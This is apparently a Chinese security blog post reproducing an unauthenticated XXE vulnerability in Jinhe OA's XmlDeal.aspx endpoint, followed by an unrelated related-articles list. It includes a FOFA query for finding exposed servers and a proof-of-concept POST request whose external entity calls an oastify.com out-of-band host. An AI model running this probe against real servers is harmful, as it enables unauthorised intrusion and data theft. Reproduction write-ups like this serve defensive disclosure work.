【漏洞复现】金和OA XmlDeal.aspx XXE漏洞
0x01 产品简介
金和数字化智能办公平台（简称JC6）是一款结合了人工智能技术的数字化办公平台，为企业带来了智能化的办公体验和全面的数字化转型支持。同时符合国家信创认证标准，支持组织数字化转型，实现业务流程的数字化、智能化和协同化，提高企业竞争力。
0x02 漏洞概述
金和OA-C6-XmlDeal.aspx接口存在XML实体注入漏洞，未授权的攻击者可通过该漏洞获取服务器敏感数据。
0x03 测绘语句
fofa: app="金和网络-金和OA"0x04 漏洞复现
使用burp自带的dnslogPOST /c6/JHSoft.Web.Message/XmlDeal.aspx HTTP/1.1Host:Content-Type: application/Xml<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://zdgenbqwmvts71ozygb7fowluc03otci.oastify.com/"> %remote;]>'相关文章：
【漏洞复现】金和OA XmlDeal.aspx XXE漏洞
0x01 产品简介 金和数字化智能办公平台（简称JC6）是一款结合了人工智能技术的数字化办公平台，为企业带来了智能化的办公体验和全面的数字化转型支持。同时符合国家信创认证标准，支持组织数字化转型，实现业务流程的数字化、智能化和协同化，提高企业竞争力。 0x02 漏洞概述…...
对比：React 还是 Vue
自己之前的开发栈一直是 Vue，对 Vue 的设计理念及底层实现原理算是颇有了解；随着公司技术迭代，近半年来开始接触&使用 React。 前面写了几篇关于 React 的文章，但大部分都是知识点以及开发过程问题的沉淀总结。 这篇文章想尝…...
ubuntu 20.04 SD 卡分区类型 msdos 改为 GPT 的方法
前言 默认 SD 卡分区是 FAT32 格式，为了用于嵌入式Linux ext4 文件系统，需要改为 ext4 文件系统，但是SD 卡分区类型默认是 msdos 类型，也就是 MBR 类型，不是 GPT 类型。 烧写 ext4 分区表，或者使用 ubuntu…...
Kubernetes（K8s）技术解析
1. K8s简介 Kubernetes（简称K8s）是一个开源的容器编排平台，旨在简化容器化应用程序的部署、扩展和管理。为开发者和运维人员提供了丰富的功能和灵活的解决方案，帮助他们更轻松地构建、部署和管理云原生应用程序。以下是关于Kubern…...
Python 基于 OpenCV 视觉图像处理实战 之 OpenCV 简单实战案例 之十 简单颜色反转效果
Python 基于 OpenCV 视觉图像处理实战 之 OpenCV 简单实战案例 之十 简单颜色反转效果 目录 Python 基于 OpenCV 视觉图像处理实战 之 OpenCV 简单实战案例 之十 简单颜色反转效果 一、简单介绍 二、简单颜色反转效果实现原理 三、简单颜色反转效果案例实现简单步骤 四、注…...
【ELK+Kafka+filebeat分布式日志收集】部署filebeat和Kibana（三）
filebeat下载 官网：https://www.elastic.co/cn/downloads/beats/filebeat 或者 cd /opt wget https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-8.8.1-linux-x86_64.tar.gz依次执行如下命令...
二.音视频编辑-媒体组合-播放
引言 当涉及到音视频编辑时，媒体资源的提取和组合是至关重要的环节。在iOS平台上，AVFoundation框架提供了丰富而强大的功能，使得媒体资源的操作变得轻松而高效。从原始的媒体中提取片段，然后将它们巧妙地组合成一个完整的作品&am…...
前端安全-面试题（2024）
1. 面试总结话术： 前端常见的安全问题主要包括以下几种： 跨站脚本攻击（XSS）：攻击者通过在目标网站注入恶意脚本，当用户访问网站时，恶意脚本会被执行，从而窃取用户信息或进行其他恶意操作。这种攻击通常利用表单提交、URL参数等方式注入脚本。存储型 xss 恶意代码存在数…...
CVE-2022-29405 Apache Archiva任意用户密码重置漏洞分析
Apache Archiva是一套可扩展的Artifact Repository管理系统。它能够与Maven，Continuum和ANT等构建工具完美结合。Archiva提供的功能包括：远程Repository代理，基于角色的安全访问管理，Artifact分发、维护、查询，生成使用…...
ssm框架配置文件例子
emmm。。。。 就是说，正常ssm的配置文件长啥样？ 就最基础的？ 贴一下，备忘吧。 第一个：applicationContext.xml <beans xmlns"http://www.springframework.org/schema/beans"xmlns:context"http…...
maven构建项目报错:Failure to find com.microsoft.sqlserver:sqljdbc4:jar:4.0 in
背景 今天在项目里面查询sqlserver的数据库的时候，本地maven中引入依赖： <dependency><groupId>com.microsoft.sqlserver</groupId><artifactId>sqljdbc4</artifactId><version>4.0</version></dependenc…...
已解决rabbitmq AMQPConnectionClosedException：管道破裂或连接关闭异常的正确解决方法，亲测有效！！！
已解决rabbitmq AMQPConnectionClosedException：管道破裂或连接关闭异常的正确解决方法，亲测有效！！！ 目录 一、问题分析 二、报错原因 三、解决思路 四、解决方法 五、总结 博主v：XiaoMing_Java 一、…...
Excel 隔几行批量插入空白行
例如如下表格，每隔6行插入一行数据： 1）第7个单元格输入1 2）选中6个单元格，然后双击填充数据： 3）F5 找到常量 Ctrlshift 复制插入的数据，然后选中数据 按F5，定位到空值...
2024年04月在线IDE流行度最新排名
点击查看最新在线IDE流行度最新排名（每月更新） 2024年04月在线IDE流行度最新排名 TOP 在线IDE排名是通过分析在线ide名称在谷歌上被搜索的频率而创建的 在线IDE被搜索的次数越多，人们就会认为它越受欢迎。原始数据来自谷歌Trends 如果您相…...
如何通过Elasticsearch实现搜索的关键词达到高亮的效果
高亮 首先介绍一下什么是搜索的关键词达到高亮的效果，如图所示 当在百度里面搜索elasticsearch的时候，可以看到出现的搜索结果里面elasticsearch这个关键词明显与其他的条文不一样，用红颜色凸显了“高亮效果”。当我们想要在自己的项目里面…...
真实sql注入以及小xss--BurpSuite联动sqlmap篇
前几天漏洞检测的时候无意发现一个sql注入 首先我先去网站的robots.txt去看了看无意间发现很多资产 而我意外发现admin就是后台 之后我通过基础的万能账号密码测试or ‘1‘’1也根本没有效果 而当我注入列的时候情况出现了 出现了报错，有报错必有注入点 因此我…...
Java类和对象练习题
练习一 下面代码的运行结果是（） public static void main(String[] args){String s;System.out.println("s"s);} 解析：本题中的代码不能编译通过，因为在Java当中局部变量必须先初始化，后使用。所以此处编译不…...
Qt 实现简易的视频播放器，功能选择视频，播放，暂停，前进，后退，进度条拖拉，视频时长显示
1.效果图 2.代码实现 2.1 .pro文件 QT core gui multimedia multimediawidgets 2.2 .h文件 #ifndef VIDEOPLAYING_H #define VIDEOPLAYING_H#include <QWidget> #include<QFileDialog>#include<QMediaPlayer> #include<QMediaRecorder> #in…...
vue基础教程（6）——构建项目级登录页
同学们可以私信我加入学习群！ 正文开始 前言一、创建首页二、登录页代码讲解三、对应的vue知识点：四、附件-各文件代码总结 前言 前面我们已经把vue自带的页面删除，也搭建了最简单的router路由，下面就可以真正开发我们自己的项目…...
C++宝强越狱1.0.6版本
没啥好说的，更新了一关，上代码 #include"bits/stdc.h" #include"Windows.h" #define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0) using namespace std; int w3,s3,a3,d3; bool nfalse,iptrue,mfals…...
CCS12.3.0保姆级教程：手把手教你为AWR6843AOP毫米波雷达新建工程（附完整配置参数）
CCS12.3.0零基础实战指南：AWR6843AOP毫米波雷达工程搭建全解析 第一次打开Code Composer Studio 12.3.0时，满屏的选项和参数确实容易让人望而生畏。特别是当你要为TI的AWR6843AOP毫米波雷达创建新工程时，那些关于Cortex R、DSP C67XX、mss/ds…...
Linux服务器卡死？5分钟定位hung task与soft lockup的实战技巧
Linux服务器卡死？5分钟定位hung task与soft lockup的实战技巧 凌晨三点，服务器监控突然告警——核心业务节点失去响应。作为运维工程师，这种场景往往意味着不眠之夜。但不同于新手的手足无措，经验丰富的系统管理员知道：…...
yolo系列演进分析
YOLO（You Only Look Once）作为计算机视觉领域最具影响力的目标检测算法系列之一，自2016年首次提出以来经历了持续的技术革新与架构演进。从最初的YOLOv1到2026年最新发布的YOLO26，这一系列不仅实现了从"单阶段检测"到"端到端推理"的范式转变，更在速度…...
Chrome WebRTC 实战：构建高可靠实时通信系统的关键技术与避坑指南
最近在做一个需要实时音视频通信的项目，选型时自然想到了 WebRTC。虽然标准很美好，但在 Chrome 浏览器里真正把它用起来、特别是用到生产环境，那真是“坑”出不穷。从 NAT 穿不透导致连不上，到不同设备上视频卡成 PPT，…...
用Python处理SEED-VIG脑电数据：从PERCLOS标签到EEG特征提取的完整流程
用Python处理SEED-VIG脑电数据：从PERCLOS标签到EEG特征提取的完整流程 在神经工程和驾驶安全研究中，SEED-VIG数据集因其高质量的多模态生理信号采集而备受关注。这个包含EEG、EOG和眼动追踪数据的资源，为疲劳检测算法开发提供了宝贵素材。本文…...
GME多模态向量模型助力AI编程：代码与注释的跨模态理解工具
GME多模态向量模型助力AI编程：代码与注释的跨模态理解工具 1. 引言：当代码能听懂人话 你有没有过这样的经历？面对一个庞大的代码库，想找一个实现特定功能的函数，却记不清它的名字，只能靠模糊的记忆在文件…...
Gin 日志体系详解
Gin 日志体系详解 本文基于 Gin 企业开发的真实场景，从原生日志能力到主流日志工具选型，全程以实用为核心，附带可直接复制的集成代码、最佳实践和踩坑指南，解决 Gin 开发中日志的全场景需求。 一、Gin 原生日志体系详解 Gin 自带了…...
_kaic)
weixin258基于微信小程序的课堂点名系统springboot(文档+源码)_kaic
第5章 系统实现进入到这个环节，也就可以及时检查出前面设计的需求是否可靠了。一个设计良好的方案在运用于系统实现中，是会帮助系统编制人员节省时间，并提升开发效率的。所以在系统的编程阶段，也就是系统实现阶段，对于…...
双模型对比：OpenClaw同时接入Qwen3.5-9B与Llama3的任务执行差异
双模型对比：OpenClaw同时接入Qwen3.5-9B与Llama3的任务执行差异 1. 测试背景与实验设计 上周我在整理一个长期堆积的文档项目时，发现手动分类200多份混合格式文件（PDF/Word/Markdown）需要至少3小时。作为OpenClaw的早期使用者&a…...
4G手机远程断电停电报警器：三重告警，漏报风险全杜绝
4G手机远程断电停电报警器，简单来说，就是一款在监测到设备停电时，能通过4G网络自动给你打电话、发短信“通风报信”的智能硬件。解决人不在现场，如何第一时间知道设备停电了。特别适合那些停电会造成严重损失的场景，比…...